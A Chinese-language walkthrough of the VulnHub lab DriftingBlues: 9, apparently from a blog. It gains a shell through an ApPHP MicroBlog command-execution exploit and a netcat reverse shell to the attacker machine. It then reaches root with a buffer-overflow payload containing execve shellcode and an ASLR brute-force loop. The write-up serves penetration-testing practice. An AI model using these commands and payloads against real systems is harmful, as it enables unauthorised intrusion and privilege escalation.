准备:

攻击机:虚拟机kali、本机win10。

靶机:DriftingBlues: 9 (final),下载地址:https://download.vulnhub.com/driftingblues/driftingblues9.ova,下载后直接vbox打开即可。

知识点:内存溢出、ApPHP MicroBlog Free框架漏洞。

注意:这个难度真不是easy,之前做过一个内存溢出靶场的:https://www.cnblogs.com/upfine/p/17140035.html。

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.31.0/24,获得靶机地址:192.168.31.91。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.31.91,显示开放了80、111端口,开启了http服务、rpcbind。

目录扫描:

使用gobuster尝试对80端口进行目录扫描,发现README.txt等文件。

在web服务中访问README.txt文件信息,获得框架版本信息:ApPHP MicroBlog Free 和Version: 1.0.1。

框架漏洞获取shell:

使用searchsploit搜索下ApPHP MicroBlog Free框架的漏洞信息,发现存在一个命令执行漏洞。

使用python2执行该php文件进行漏洞利用,命令:python2 33070.py http://192.168.31.91/index.php,成功获得命令执行权限,并获得一组数据库的账户和密码信息:clapton/yaraklitepe。

使用命令执行窗口进行命令执行时,发现很多命令无法使用,因此尝试进行shell反弹,命令:nc 192.168.31.64 6688 -e /bin/bash,时候使用命令:python -c 'import pty;pty.spawn("/bin/bash")';升级shell。

提权-clapton:

在/home目录下发现账户信息:clapton,与刚才发现的数据库的账户信息一致,因此使用:clapton/yaraklitepe进行尝试切换账户,命令:su clapton,成功切换到clapton账户。

获得clapton账户权限后在/home/clapton目录下发现user.txt、note.txt、input文件,访问user.txt文件,成功获得flag信息。

提权-root:

查看note.txt文件,发现对我们的提示信息:buffer overflow is the way. ( ° ʖ °),告诉我们要利用缓冲区漏洞(或者下载文件后strings input,发现其存在一个未进行限制的strcpy函数,也可以确定)。

通过:find / -perm -4000 -type f 2>/dev/null来查找可疑文件,也只发现了/home目录下的input文件。

尝试执行input,提示我们需要输入字符串。

我们先查看下ASLR(地址随机化,一种缓冲区溢出的安全保护技术)是否被禁止,命令:cat /proc/sys/kernel/randomize_va_space,发现是被开启的。

sudo命令无法使用,没办法关闭ASLR,先把文件下载下来分析下吧,命令:scp input kali@192.168.31.64:/home/kali/Desktop,成功下载input文件。第一次失败是因为kali未开启ssh服务。(这里在把靶机中也是可以直接做的,取出来只是为了方便测试payload)

关掉本地的ASLR进行测试,命令:echo 0 | sudo tee /proc/sys/kernel/randomize_va_space。

然后用 metasploit 中的 pattern_create.rb 生成数量 1000 的字符串用来计算偏移量,命令:/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000。

将生成的字符串用命令 r 在 gdb 中运行,如下,程序报错,显示在这个地址出现错误:0x41376641。

计算下此地址:0x41376641的偏移量,命令:/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41376641,得到其偏移量为171。用 python 构造字符串:$(python -c 'print("A" * 171 + "B" * 4 + "\x90" * 64 )')。

查看下esp寄存器的值,命令:x/s $esp,得到:0xffffd040。用esp 寄存器的替换 4 个 B,因为是小字节序,倒过来写,构造 payload:$(python2 -c 'print("A" * 171 + "\x40\xd0\xff\xff" + "\x90" * 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')

利用构造的payload在本地进行测试,成功获得root权限,命令:r $(python2 -c 'print("A" * 171 + "\x40\xd0\xff\xff" + "\x90" * 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')。

读取下靶机中的esp值,获得:0xbfa4eca0,替换掉上面kali payload中的esp值。

因为靶机上ASLR无法关闭,因此进行多次执行,payload:for i in {1..10000}; do (./input $(python2 -c 'print("A" * 171 + "\xa0\xec\xa4\xbf" + "\x90" * 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')) ; done。获得shell权限后在/root目录下发现root.txt文档,读取该文档信息,成功获得flag值。

vulnhub靶场之DRIFTINGBLUES: 9 (FINAL)的更多相关文章

  1. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  2. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  3. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  4. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  5. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

  6. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  7. VulnHub靶场学习_HA: Pandavas

    HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...

  8. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  9. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

  10. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

随机推荐

  1. vulnhub靶场之EVILBOX: ONE

    准备: 攻击机:虚拟机kali.本机win10. 靶机:EVILBOX: ONE,下载地址:https://download.vulnhub.com/evilbox/EvilBox---One.ova ...

  2. Zabbix技术分享——使用docker-compose快速部署zabbix监控系统

    前面文章有提到过使用docker来快速拉起一个zabbix监控系统(详见:如何使用docker快速部署一个zabbix监控系统),但是要一个个执行docker启动命令去将对应的容器启动.如果要配置参数 ...

  3. [论文阅读] 颜色迁移-Correlated Color Space

    [论文阅读] 颜色迁移-Correlated Color Space 文章: Color transfer in correlated color space, [paper], [matlab co ...

  4. 【大数据-课程】高途-天翼云侯圣文-Day1:互联网大数据揭秘(大数据介绍&MR实现双十一举牌)

    一.大厂职级 P7:年薪百万 二.大数据发展 1.职业路线和岗位角色 2.大数据行业发展 三.大数据的位置 1.热门行业 大数据承上启下 2.三者关系 啤酒和尿不湿:启发可以放在一块 3.大数据作用 ...

  5. 快速入门JavaScript编程语言

    目录 JS简介 JS基础 1.注释语法 2.引入js的多种方式 3.结束符号 变量与常量 let和var的区别 申明常量 const 严格模式 use strict 基本数据类型 1.数值类型(Num ...

  6. elasticsearch倒排索引(全面了解)

    SimpleAI推荐语: 前年转过这篇文章,最近在看检索相关论文,发现又有点忘记倒排索引(inverted index)的具体内容,遂翻出来再看看,不得不说,这个漫画画的太好了,娓娓道来,一看就懂,再 ...

  7. 一文聊透Apache Hudi的索引设计与应用

    Hudi索引在数据读和写的过程中都有应用.读的过程主要是查询引擎利用MetaDataTable使用索引进行Data Skipping以提高查找速度;写的过程主要应用在upsert写上,即利用索引查找该 ...

  8. Python + logging 控制台有日志输出,但日志文件中数据为空

    源码: def output(self, level, message): fh = logging.FileHandler(self.logpath, mode='a', encoding='utf ...

  9. JavaScript:函数:如何声明和调用函数?

    首先,理解什么是函数? 通俗的说,函数就是用大括号括起来的一组JS语句的集合体,是一个代码块,表达一种行为逻辑. 当我们调用函数的时候,我们就是在执行这一组JS语句. 然后,确定一点,在JS中,函数也 ...

  10. 【转】C#接口知识

    参考:日常收集 C# 接口知识 (知识全面) 目录 第一节 接口慨述 第二节 定义接口 第三节 定义接口成员 第四节.访问接口 第五节.实现接口 第六节.接口转换 第七节.覆盖虚接口 第一节 接口慨述 ...